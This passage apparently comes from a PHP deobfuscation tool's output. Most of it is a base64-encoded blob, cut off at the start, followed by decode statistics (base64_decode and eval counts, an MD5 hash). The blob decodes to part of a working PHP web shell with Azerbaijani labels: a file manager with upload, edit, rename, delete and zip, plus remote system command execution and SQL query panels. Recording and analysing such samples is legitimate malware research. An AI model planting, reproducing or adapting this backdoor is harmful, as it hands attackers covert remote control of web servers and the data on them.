BzYXhsYW4mIzMwNTtsZCYjMzA1OyE8L3NwYW4+IjsNCgkJfQ0KCQkkb3h1VXJsID0gIj9uZT1mYXlsX294dSZmYXlsPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZmF5bEFkaSkpKS4iJnFvdmx1cT0iLnVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpOw0KCQkkZWxhdmVCdG4gPSBpc193cml0ZWFibGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkgPyAiIiA6ICIgZGlzYWJsZWQiOw0KCQlwcmludCAiPGRpdj5GYXlsIGFkJiMzMDU7OiA8YSBjbGFzcz0ncWFsaW4nIGhyZWY9J2phdmFzY3JpcHQ6c2VoaWZlKFwieyRveHVVcmx9XCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJGZheWxBZGkpLiI8L2E+PGJyLz48Zm9ybSBtZXRob2Q9J1BPU1QnIHN0eWxlPSdwYWRkaW5nOiAwOyBtYXJnaW46IDA7Jz48YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0bickZWxhdmVCdG4+IFlhZGRhIHNheGxhIDwvYnV0dG9uPiA8YnV0dG9uIHR5cGU9J2J1dHRvbicgb25jbGljaz0nc2hpZnJlbGVlKCknPiBTaGlmcmVsZSBhdGFzaCA8L2J1dHRvbj4gJHN0YXR1czwvZGl2PiI7DQoJCXByaW50ICI8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nZmF5bF9yZWRha3RlJyBuYW1lPSduZSc+PGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuc2hpZnJlbGUoJGZheWxBZGkpLiInIG5hbWU9J2ZheWwnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPSciLnVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKS4iJyBuYW1lPSdxb3ZsdXEnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPSciLnRvb2tZYXJhdCgieXNfdG9vayIpLiInIG5hbWU9J3Rvb2snPjx0ZXh0YXJlYSBuYW1lPSdjb250ZW50JyBjbGFzcz0nZmlsZV9lZGl0Jz4iLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkpLiI8L3RleHRhcmVhPjwvZm9ybT4iOw0KCX0NCgllbHNlDQoJew0KCQlwcmludCAnRXJyb3IhICcgLiAgaHRtbHNwZWNpYWxjaGFycygkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKTsNCgl9DQp9DQplbHNlDQp7DQoJaWYoaXNfZGlyKCRkZWZhdWx0X2RpcikpDQoJew0KCQlpZihpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIpKQ0KCQl7DQoJCQkkcW92bHVxSWNoaSA9IHNjYW5kaXIoJGRlZmF1bHRfZGlyKTsNCgkJCWZvcmVhY2goJHFvdmx1cUljaGkgQVMgJiRlbWVsZW1udCkNCgkJCXsNCgkJCQkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGVtZWxlbW50LDAsMSkhPSIvIiA/ICIvIiA6ICIiOw0KCQkJCWlmKGlzX2RpcigkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRlbWVsZW1udCkpDQoJCQkJew0KCQkJCQkkZW1lbGVtbnQgPSAiMCIuJGVtZWxlbW50Ow0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQkkZW1lbGVtbnQgPSAiMSIuJGVtZWxlbW50Ow0KCQkJCX0NCgkJCX0NCgkJCWFzb3J0KCRxb3ZsdXFJY2hpKTsNCgkJCXByaW50ICI8dGFibGUgY2xhc3M9J2ZNYW5hZ2VyJyBzdHlsZT0nd2lkdGg6IDEwMCU7Jz48dGhlYWQ+PHRyIGNsYXNzPSdxYWxpbic+PHRoPnM8L3RoPjx0aD5GYXlsPC90aD48dGg+U2l6ZTwvdGg+PHRoPlRhcml4PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD5QZXJtaXNzaW9uczwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+IjsNCgkJCWZvcmVhY2goJHFvdmx1cUljaGkgQVMgJGVsZW1lbnQpDQoJCQl7DQoJCQkJJHVybCA9ICIiOw0KCQkJCSRlbGVtZW50ID0gc3Vic3RyKCRlbGVtZW50LDEpOw0KCQkJCSRmYXlsQWRpVGFtID0gJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZWxlbWVudDsNCgkJCQkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGVsZW1lbnQsMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJCQkJJGFkaSA9IGlzX2RpcigkZmF5bEFkaVRhbSkgPyAiWyAkZWxlbWVudCBdIiA6ICRlbGVtZW50Ow0KCQkJCSRjbGFzc04gPSAiIjsNCgkJCQlpZihpc19kaXIoJGZheWxBZGlUYW0pKQ0KCQkJCXsNCgkJCQkJaWYoJGVsZW1lbnQ9PSIuIikNCgkJCQkJew0KCQkJCQkJJHVybCA9ICI/cW92bHVxPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKSk7DQoJCQkJCX0NCgkJCQkJZWxzZSBpZigkZWxlbWVudD09Ii4uIikNCgkJCQkJew0KCQkJCQkJJHllbmlVcmwgPSBleHBsb2RlKCIvIiwkZGVmYXVsdF9kaXIpOw0KCQkJCQkJZm9yZWFjaChhcnJheV9yZXZlcnNlKCR5ZW5pVXJsKSBBUyAkaj0+JHFxKQ0KCQkJCQkJew0KCQkJCQkJCWlmKHRyaW0oJHFxKSE9IiIpDQoJCQkJCQkJew0KCQkJCQkJCQl1bnNldCgkeWVuaVVybFtjb3VudCgkeWVuaVVybCktJGotMV0pOw0KCQkJCQkJCQlicmVhazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCQkkdXJsID0gIj9xb3ZsdXE9Ii51cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKGltcGxvZGUoIi8iLCR5ZW5pVXJsKSkpKTsNCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJCSR1cmwgPSAiP3Fvdmx1cT0iLnVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGZheWxBZGlUYW0pKSk7DQoJCQkJCX0NCgkJCQkJJGNsYXNzTiA9ICIgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA2MDA7JyI7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSR1cmwgPSAiP25lPWZheWxfb3h1JmZheWw9Ii51cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRlbGVtZW50KSkpLiImcW92bHVxPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZGVmYXVsdF9kaXIpKSk7DQoJCQkJfQ0KCQkJCSRmYXlsZGkgPSBpc19maWxlKCRmYXlsQWRpVGFtKTsNCgkJCQkkaXNSZWFkYWJsZUNvbG9yID0gaXNfcmVhZGFibGUoICRmYXlsQWRpVGFtICkgJiYgaXNfd3JpdGVhYmxlKCAkZmF5bEFkaVRhbSApOw0KCQkJCXByaW50ICc8dHI+DQoJCQkJCQk8dGQ+PC90ZD4NCgkJCQkJCTx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNlaGlmZShcJycuJHVybC4nXCcpIicuJGNsYXNzTi4nPicuaHRtbHNwZWNpYWxjaGFycygkYWRpKS4nPC9hPjwvdGQ+DQoJCQkJCQk8dGQ+JyAuICgkZmF5bGRpP3NpemVGb3JtYXQoZmlsZXNpemUoJGZheWxBZGlUYW0pKTonJykgLiAnPC90ZD4NCgkJCQkJCTx0ZD4nIC4gKGRhdGUoJ2QgTSBZLCBIOmknICwgZmlsZWN0aW1lKCRmYXlsQWRpVGFtKSkpIC4gJzwvdGQ+DQoJCQkJCQk8dGQ+JyAuIGh0bWxzcGVjaWFsY2hhcnMoZmlsZW93bmVyKCRmYXlsQWRpVGFtKSkgLiAnPC90ZD4NCgkJCQkJCTx0ZCcgLiAoJGlzUmVhZGFibGVDb2xvcj8nIHN0eWxlPSJjb2xvcjogZ3JlZW47Iic6JycpIC4gJz4nIC4gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCggJGZheWxBZGlUYW0gKSkpLCAtNCkgLiAnPC90ZD4NCgkJCQkJCTx0ZD4nOw0KCQkJCQkJaWYoIGlzX2ZpbGUoJGZheWxBZGlUYW0pICkNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAoJyA8YSBocmVmPSJqYXZhc2NyaXB0OnNlaGlmZShcJycuc3RyX3JlcGxhY2UoImZheWxfb3h1IiwiZmF5bF95dWtsZSIsJHVybCkuJ1wnKSInLiRjbGFzc04uJz5Eb3dubG9hZDwvYT4gfCAnKSAuDQoJCQkJCQkJCSgnIDxhIGhyZWY9ImphdmFzY3JpcHQ6Y2hhbmdlRmlsZU5hbWUoXCcnIC4gaHRtbHNwZWNpYWxjaGFycygkYWRpKSAuICdcJyAsIFwnJy5zdHJfcmVwbGFjZSgiZmF5bF9veHUiLCJmYXlsX2FkX2RleWlzaCIsJHVybCkuJ1wnKTsiJy4kY2xhc3NOLic+UmVuYW1lPC9hPiB8ICcpIC4NCgkJCQkJCQkJKCcgPGEgaHJlZj0iamF2YXNjcmlwdDpmYXlsU2lmaXJsYShcJycuc3RyX3JlcGxhY2UoImZheWxfb3h1IiwiZmF5bF9zaWZpcmxhIiwkdXJsKS4nXCcpOyInLiRjbGFzc04uJz5UcnVuY2F0ZTwvYT4gfCAnKSAuDQoJCQkJCQkJCSgnIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZmF5bFNpbChcJycuc3RyX3JlcGxhY2UoImZheWxfb3h1IiwiZmF5bF9zaWwiLCR1cmwpLidcJykiJy4kY2xhc3NOLic+RGVsZXRlPC9hPicpOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZSBpZiggJGFkaSAhPSAnWyAuIF0nICYmICRhZGkgIT0gJ1sgLi4gXScgKQ0KCQkJCQkJew0KCQkJCQkJCXByaW50ICgnIDxhIGhyZWY9ImphdmFzY3JpcHQ6emlwbGUoXCcnIC4gdXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkZmF5bEFkaVRhbSkpKSAuICdcJykiJy4kY2xhc3NOLic+WmlwPC9hPiB8ICcpIC4NCgkJCQkJCQkJKCcgPGEgaHJlZj0iamF2YXNjcmlwdDpzaWxQYXBrYShcJycgLiB1cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRmYXlsQWRpVGFtKSkpIC4gJ1wnKSInLiRjbGFzc04uJz5TaWw8L2E+Jyk7DQoJCQkJCQl9DQoJCQkJCQlwcmludCAnPC90ZD4NCgkJCQkJPC90cj4nOw0KCQkJfQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIjxkaXYgc3R5bGU9J21hcmdpbjogMTBweCAwcHg7JyBjbGFzcz0ncWFsaW4nPlBlcm1pc3Npb25zIGRlbmlkZWQhPC9kaXY+IjsNCgkJfQ0KCX0NCn0NCnByaW50ICI8L3Rib2R5PjwvdGFibGU+IjsNCj8+DQoNCjxocj4NCjxhIGhyZWY9ImphdmFzY3JpcHQ6bmV3RmlsZSgpOyI+WWVuaSBmYXlsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6bmV3UGFwa2EoKTsiPlllbmkgcGFwa2E8L2E+PGJyPg0KPGEgaHJlZj0iamF2YXNjcmlwdDpzZWhpZmUoJz9uZT1zaXN0ZW1fa29tJnFvdmx1cT08Pz11cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRkZWZhdWx0X2RpcikpKT8+JykiPkljcmEgZWRpbjwvYT48YnI+DQo8YSBocmVmPSJqYXZhc2NyaXB0OnNlaGlmZSgnP25lPXNrbCcpOyI+U1FMPC9hPjxicj4NCg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuZSIgdmFsdWU9ImZheWxfdXBsIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJxb3ZsdXEiIHZhbHVlPSI8Pz11cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSk/PiI+DQoJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVmYXlsIj4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsIj4NCjwvZm9ybT4NCg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0icG9zdF9mb3JtIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPjwvZm9ybT4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBzZWhpZmUodXJsKQ0Kew0KCXZhciBpbnB1dGxhciA9ICIiOw0KCXVybCA9IHVybC5zcGxpdCgiPyIpOw0KCWlmKHR5cGVvZiB1cmxbMV09PSJ1bmRlZmluZWQiKSByZXR1cm47DQoJdXJsID0gdXJsWzFdLnNwbGl0KCImIik7DQoJZm9yKHZhciBuIGluIHVybCkNCgl7DQoJCXZhciBrZXlBbmRWYWx1ZSA9IHVybFtuXS5zcGxpdCgiPSIpOw0KCQlpZih0eXBlb2Yga2V5QW5kVmFsdWVbMV09PSJ1bmRlZmluZWQiKSBjb250aW51ZTsNCgkJaW5wdXRsYXIrPSI8aW5wdXQgbmFtZT0nIitrZXlBbmRWYWx1ZVswXSsiJyB2YWx1ZT0nIitrZXlBbmRWYWx1ZVsxXSsiJyB0eXBlPSdoaWRkZW4nPiI7DQoJfQ0KCWRvY3VtZW50LmFsbCgicG9zdF9mb3JtIikuaW5uZXJIVE1MID0gaW5wdXRsYXI7DQoJZG9jdW1lbnQuYWxsKCJwb3N0X2Zvcm0iKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGZheWxTaWwodXJsKQ0Kew0KCWlmKCBjb25maXJtKCdFbWluc2VuIGF0YXNoPycpICkNCgl7DQoJCXNlaGlmZSh1cmwpOw0KCX0NCn0NCmZ1bmN0aW9uIGZheWxTaWZpcmxhKHVybCkNCnsNCglpZiggY29uZmlybSgnRW1pbnNlbiBhdGFzaD8nKSApDQoJew0KCQlzZWhpZmUodXJsKTsNCgl9DQp9DQpmdW5jdGlvbiBjaGFuZ2VGaWxlTmFtZShuYW1lLCB1cmwpDQp7DQoJdmFyIGdldE5ld05hbWUgPSBwcm9tcHQoJ0NoYW5nZSBmaWxlIG5hbWU6JyAsIG5hbWUpOw0KCWlmKCBnZXROZXdOYW1lICkNCgl7DQoJCXNlaGlmZSh1cmwgKyAiJm5ld19uYW1lPSIgKyBnZXROZXdOYW1lKTsNCgl9DQp9DQpmdW5jdGlvbiBuZXdGaWxlKCkNCnsNCgl2YXIgZ2V0TmV3TmFtZSA9IHByb21wdCgnRmlsZSBuYW1lOicpOw0KCWlmKCBnZXROZXdOYW1lICkNCgl7DQoJCXNlaGlmZSgiP25lPWZheWxfeWFyYXQmYWQ9IiArIGdldE5ld05hbWUgKyAiJnFvdmx1cT08Pz11cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRkZWZhdWx0X2RpcikpKT8+Iik7DQoJfQ0KfQ0KZnVuY3Rpb24gbmV3UGFwa2EoKQ0Kew0KCXZhciBnZXROZXdOYW1lID0gcHJvbXB0KCdGaWxlIG5hbWU6Jyk7DQoJaWYoIGdldE5ld05hbWUgKQ0KCXsNCgkJc2VoaWZlKCI/bmU9cGFwa2FfeWFyYXQmYWQ9IiArIGdldE5ld05hbWUgKyAiJnFvdmx1cT08Pz11cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCRkZWZhdWx0X2RpcikpKT8+Iik7DQoJfQ0KfQ0KZnVuY3Rpb24gc2lzdGVtS29tKCkNCnsNCgl2YXIga29tYW5kYSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbXJfZXRfYXRhc2gnKS52YWx1ZTsNCglpZigga29tYW5kYSApDQoJew0KCQlzZWhpZmUoIj9uZT1zaXN0ZW1fa29tJmtvbT0iICsgYjY0RW5jb2RlVW5pY29kZShrb21hbmRhKSArICImcW92bHVxPTw/PXVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpPz4iKTsNCgl9DQp9DQpmdW5jdGlvbiBza2xfYmFzKCkNCnsNCgl2YXIgc2tsRW1yID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NrbF9lbXInKS52YWx1ZTsNCgkNCglzZWhpZmUoIj9uZT1za2wmZW1yPSIgKyBiNjRFbmNvZGVVbmljb2RlKHNrbEVtcikpOw0KfQ0KZnVuY3Rpb24gYjY0RW5jb2RlVW5pY29kZShzdHIpDQp7DQoJcmV0dXJuIGJ0b2EoZW5jb2RlVVJJQ29tcG9uZW50KHN0cikucmVwbGFjZSgvJShbMC05QS1GXXsyfSkvZywNCgkJZnVuY3Rpb24gdG9Tb2xpZEJ5dGVzKG1hdGNoLCBwMSkgew0KCQkJcmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoJzB4JyArIHAxKTsNCgkJfSkpOw0KfQ0KZnVuY3Rpb24gZ290bygpDQp7DQoJdmFyIGRpciA9IHByb21wdCgnRGlyOicpOw0KCWlmKCBkaXIgKQ0KCXsNCgkJc2VoaWZlKCI/cW92bHVxPSIgKyBkaXIpOw0KCX0NCn0NCmZ1bmN0aW9uIHppcGxlKHFvdmx1cSkNCnsNCgl2YXIgZGlyID0gcHJvbXB0KCdEaXI6JyAsICI8Pz1odG1sc3BlY2lhbGNoYXJzKCRkZWZhdWx0X2Rpcik/PiIpOw0KCWlmKCBkaXIgKQ0KCXsNCgkJc2VoaWZlKCI/bmU9emlwbGUmcW92bHVxPTw/PXVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpPz4memY9IiArIHFvdmx1cSArICImc2F2ZV90bz0iICsgYjY0RW5jb2RlVW5pY29kZShkaXIpKQ0KCX0NCn0NCmZ1bmN0aW9uIHNpbFBhcGthKHFvdmx1cSkNCnsNCglpZiggY29uZmlybSgnRW1pbnNlbiBhdGFzaD8nKSApDQoJew0KCQlzZWhpZmUoIj9uZT1wYXBrYV9zaWwmcW92bHVxPTw/PXVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJGRlZmF1bHRfZGlyKSkpPz4memY9IiArIHFvdmx1cSkNCgl9DQp9DQpmdW5jdGlvbiBzaGlmcmVsZWUoKQ0Kew0KCXZhciB2YWxsID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnZmlsZV9lZGl0JylbMF0udmFsdWU7DQoJdmFyIHJlcHAgPSBbJ2EnLCdpJywnZScsJ3MnLCdsJywnYicsJ3UnLCdvJywncCcsJ2gnLCJcXCgiLCJcXCkiLCJcXDwiLCJcXD4iLCJcXD8iLCJcXDsiLCJcXFsiLCJcXF0iLCJcXCQiXTsNCglmb3IodmFyIHMgaW4gcmVwcCkNCgl7DQoJCXZhciBoID0gcmVwcFtzXTsNCgkJdmFsbCA9IHZhbGwucmVwbGFjZShuZXcgUmVnRXhwKGgsICdnJykgLCAnfDonK3MrJzp8Jyk7DQoJfQ0KDQoJZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnZmlsZV9lZGl0JylbMF0udmFsdWUgPSB2YWxsOw0KfQ0KDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZW1yX2V0X2F0YXNoIikuYWRkRXZlbnRMaXN0ZW5lcigia2V5dXAiLCBmdW5jdGlvbihldmVudCkNCnsNCglldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KCWlmIChldmVudC5rZXlDb2RlID09PSAxMykNCgl7DQoJCXNpc3RlbUtvbSgpOw0KCX0NCn0pOw0KPC9zY3JpcHQ+DQo8L2JvZHk+DQo8L2h0bWw+DQo="
        )
) ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 5a23832237ad551d1274f8e238daf186
Eval Count 1
Decode Time 68 ms